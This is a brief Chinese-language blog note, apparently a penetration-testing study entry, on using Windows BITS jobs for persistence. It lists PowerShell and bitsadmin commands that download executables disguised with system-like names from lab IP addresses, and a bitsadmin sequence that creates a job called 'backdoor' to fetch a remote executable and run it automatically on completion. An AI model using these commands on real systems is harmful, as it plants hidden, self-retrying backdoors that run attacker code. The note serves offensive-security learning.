BITS Jobs后门

一、Bits Job

windows后台智能传输服务 Background Intelligent Transfer Service (BITS)，用于HTTP或SMB文件传输；它可以给任务设置优先级和异步下载，智能调节带宽，从而不占用其他应用的网络资源。

Powershell和bitsadmin.exe都可用于创建和管理Bits Job，但Powershell似乎只支持文件传输，windows原生程序bitsadmin.exe还支持传输完成后执行代码。

二、Execution

# powershell 传输文件
Start-BitsTransfer -Source http://192.168.240.135/csrss.exe -Destination C:\Users\win10\Desktop\csrss.exe  

# bitsadmin tool传输文件
bitsadmin /transfer test /download /priority high http://192.168.240.135/acrotray.exe C:\Users\win10\Desktop\acrotray.exe 

# 下载后执行文件(python搭的simple httpserver会10054 error，这一步本地没实验)
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe"  "C:\tmp\pentestlab.exe"
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor

参考：

https://pentestlab.blog/2019/10/30/persistence-bits-jobs/

标签：后门,exe,Jobs,文件传输,bitsadmin,backdoor,pentestlab,http,BITS
来源： https://www.cnblogs.com/ring-lcy/p/12596003.html